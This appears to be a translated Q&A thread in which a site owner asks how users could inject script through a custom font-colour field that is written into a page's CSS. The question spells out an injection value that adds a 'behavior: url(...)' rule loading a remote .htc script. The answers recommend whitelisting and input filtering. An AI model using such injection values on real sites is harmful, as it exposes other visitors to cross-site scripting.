1

我有一个这样的表格,用于登录到我的网站的用户:

<form>
<input name="fontColor"><input type="submit">
</form>

这允许用户使用字体颜色自定义他们自己的页面(其他登录用户也可以看到他们的页面)。这种字体颜色进入页面的方式是通过页面头部的动态样式表,其结构如下:

body { color: <fontColor>; }

假设用户为 fontColor 输入了这个:

default; behavior: url(http://www.myscript.com/script.htc)

然后CSS会导致

body {color: default;behavior: url(http://www.myscript.com/script.htc)}

这意味着用户“会员页面”将在页面上插入 script.htc,因此访问该会员页面的其他成员将执行该脚本(从而导致对其他访问者的攻击)。

为了防止这种情况,服务器将忽略字符:;{}输入到“fontColor”字段中的字符。

在这种情况下,产生的 CSS 将是无效的,并且无法正常工作。

body {color: defaultbehavior: url(http://www.myscript.com/script.htc)}

基本上我的问题归结为这些:

  1. 还有一种方法可以在不使用{};字符的情况下插入脚本吗?
  2. 假设{};被允许,是否有其他方式(除了在 IE 中工作的行为样式)不需要的脚本可以插入到 CSS 中?

我知道这里最好的解决方案是验证 fontColor,这样用户就没有太多的颜色自由了,但出于学术目的,我仍然想尽可能多地了解可能发生的情况。

4

2 回答 2

2

XSS 攻击实际上只受限于攻击者的想象力,所以我会确保有一个严格的允许规则/模式的白名单。仅仅因为 CSS 规则无效并不一定意味着所有浏览器都不会尝试通过url即使在有效的behaviororbackground-image规则之外包含其他文件。另一个可能的向量是expression,即使它没有得到很好的支持。

我当然无法在这里列出完整的列表,但是要认识到 XSS 的重要一点是,任何向量都没有已知的限制,并且可以在您不注意的情况下利用漏洞。从你想要允许的东西而不是你想要拒绝的东西开始工作要好得多。

于 2013-03-26T03:45:20.333 回答
1

除了 CSS 中的攻击之外,要考虑的另一件事是 SQL 注入攻击。由于我想象您将样式数据存储在数据库中,因此您需要担心该数据中的内容。使用mysqli::real_escape_string是为存储准备数据的良好开端。

在这种情况下,由于您对颜色数据非常感兴趣,因此可以使用颜色选择器不仅使您的界面易于使用,还可以限制您希望接收的数据类型。攻击者可以轻松地修改页面以让他们提交他们想要的任何内容,但是当这是您的工具生成的内容时,严格过滤十六进制值要简单得多。

于 2013-03-27T01:48:37.403 回答